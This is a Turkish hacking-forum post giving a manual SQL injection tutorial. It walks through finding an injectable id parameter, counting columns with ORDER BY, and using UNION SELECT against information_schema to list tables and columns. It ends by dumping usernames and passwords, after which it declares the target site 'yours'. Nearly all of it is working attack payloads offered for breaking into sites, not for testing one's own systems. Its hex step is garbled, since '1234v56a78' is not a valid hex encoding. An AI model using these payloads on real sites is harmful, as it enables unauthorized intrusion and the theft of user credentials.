• Hack kategorilerindeki birçok içerik Gizli içeriktir yani sadece cevap yazarakı erişebileceğiniz türden içeriklerdir, ancak yeni üyelerin hack kategorilerine cevap yazması engellenmiştir ! spam ve sömürüye karşı bir tedbirdir, forumumuza katkı sunarsanız rütbeniz kısa sürede yükselir ve tüm forumu engelsiz kullanabilirsiniz.

sql açığı manuel bulma

SQL açığını sitelerde nasıl bulabiliriz ?

SQL hakkında bilgi aldık şimdi sıra bu açığı siteler üzerinde bulabilip uygulamaktayız.
İlk önce bu hatayı almamız için sitelerin adresinin sonunda "id değer" yani "search değer" bulunması lazım örnek vermek gerekirse;
Kod:
http://siteadı.com.article.php?id=sitenin değeri.

Bu "id değeri" nasıl bulursak konusuna gelirsek oda siteye girdiğinizde sitenin amacına göre sekmeler olur "iletişim,,bilgi vs." o sekmelere girdiğimizde bir değer alırız zaten SQL amacıda burda başlar.Kod yazılırken bir yerde bu hatayı kapatmazlar ve siz bunu kendiniz kurnazca kullanıp o sızıntıdan admin paneline ve şifrelerine ulaşmış oluyoruz.

Örnek;
Kod:
http:/www.hedefsite.com/
Bu sitenin anasayfası olarak hayal edelim.
Kod:
http://www.hedefsite.com/newsone.php?id=4
Buda sitenin id değerli hali.
Kod:
http://www.hedefsite.com/newsone.php?id=4'

Asıl konu şimdi başlıyor.Sitede SQL açığı olup olmamasında.Bunun için sitenin id değerinin sonuna ",','a gibi işaretler koyarak o sitenin bize hata vermesini sağlıyoruz.
Yukardaki haliyle yaptığımız zaman bize site hata verir örnek sitemiz "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''a' at line 1" böyle bir hata verdi demekki bu sitede SQL açığı bulunmaktadır.
Farklı türde hatalar da verebilir siz onu ayırt edebilirsiniz zaten.

Sitenin verilerini dökmek için ne yapılır ?
Sitede kolon sayısını bulmak için "Order by.." komutu kullanılır.
Kod:
www.hedefsite.com/newsone.php?id=4 order by 1


Kod:
www.hedefsite.com/newsone.php?id=4 order by 6
Kod:
www.hedefsite.com/newsone.php?id=4 order by 15


En sonunda karşımıza hata gelir.O anda zaten ne kadar ileri sayı yazsan karşına hata gelicektir.
Peki,şimdi varsayıyorum order by 8 yazdık hata aldık o zaman bizim kolon sayımız (-n) 1 eksiğini alıyoruz kolon sayımız 7'dir.

Sıra geldi "Union Select" kodunu kullanmaya.
Kod:
www.hedefsite.com/newsone.php?id=-4 union select 1,2,3,4,5,6,7
kaç tane kolon sayınız varsa sayıları virgülle ayırıp yazıyoruz.
Kod:
www.hedefsite.com/newsone.php?id=-4 union select 1,2,3,4,5,6,7
En sonunda komut bu hali alıyor ve bu şekilde giriyoruz.
İd değerinizin arkasına yani eşittirin önüne "-" koymayı unutmayın veri dökmeyebilir.

Karşımıza kolon sayıları gelicek ben 1 ve 2 olduğunu hayal ediyorum.
Şimdi version alıcağız yani ekrana gelen sayılardan birini seçip yerine "version()" kodunu kullanacağız.
Kod:
www.hedefsite.com/newsone.php?id=-4 union select 1,version(),3,4,5,6,7
Bu komutu girdiğimizde karşımıza version kaç olduğu belirli olur çoğu zaman version 5 çıkar.
Şimdi sırada "Tablo adı" işlemleri var.

Tablo işleminin komutu,2 yerine "Table_name" ve sayıların sonuna "from information_schema.tables" yazmak.
Kod:
www.hedefsite.com/newsone.php?id=-4 union select 1,Table_name,3,4,5,6,7 from information_schema.tables
Komutu ilk girdiğimizde "CHARACTER_SETS" kolonu çıkar genellikle diğer tablolar gözükmez için komutun sonuna "Limit 1,1" ekliyoruz.
Kod:
www.hedefsite.com/newsone.php?id=-4 union select 1,Table_name,3,4,5,6,7 from information_schema.tables Limit 1,1

Limit kodunu arttırırsak işimize yarayan tabloları karşımıza çıkarabiliriz.BKZ: Limit 2,1 Limit 3,1

İşimize yarayan tablolar neler olabilir ?
Users,Admin,Login,Config,User,Admins vs.

Ben Users olarak alıyorum.

Şimdi işlemimiz Hex'lemek olucak Users kolonlarını bulmamız için yarar.Bu işlemi yapan siteleri googlede arıyarak bulabiliriz.

Users Hex'lenmiş hali;
Kod:
1234v56a78
Users tablolarını şimdi çekebiliriz.

Tabloları çekebilmek için gene 2 kolonunu kullanıcağız.
Kod:
www.hedefsite.com/newsone.php?id=-4 union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name=0x1234v56a78

Hex'in önüne 0x koymayı unutmayın.

İlk gelen tablo işimize yaramıyorsa, "komutun sonuna Limit 1 Offset 1" komutunu kullanacağız.Offseti arttırarak da gelen tablo sayısını arttırcaz.BKZ:Limit 1 Offset 2, Limit 1 Offset 3 vs.
İşimize yarayacak tablolar ?

Kullanıcı Adı;
User,Username,Name gibi.
Şifre için;
Password,Pass gibi.

Tabloları bulduğumuz da işimiz ordan verileri almak olucaktır.
Burda gene başta version sayıları işimize yarıcak biz 1 ve 2 olarak aldık.Onların yerine "group_concat(TabloAdı)" komutunu kullanıcaz.

Kod:
www.hedefsite.com/newsone.php?id=-4 union select group_concat(Tablo Adı),group_Concat(Tablo Adı),3,4,5,6,7

Tablo adlarıyla düzenlemek gerekirse;
Kod:
www.hedefsite.com/newsone.php?id=-4 union select group_concat(Username),group_Concat(Password),3,4, 5,6,7 from Users

Bu komutu yazdığımızda Users tablosundaki tüm site bilgileri önümüze düşücektir ve artık site elinizdedir.
 
  • Like
Tepkiler: IPX
Üst Alt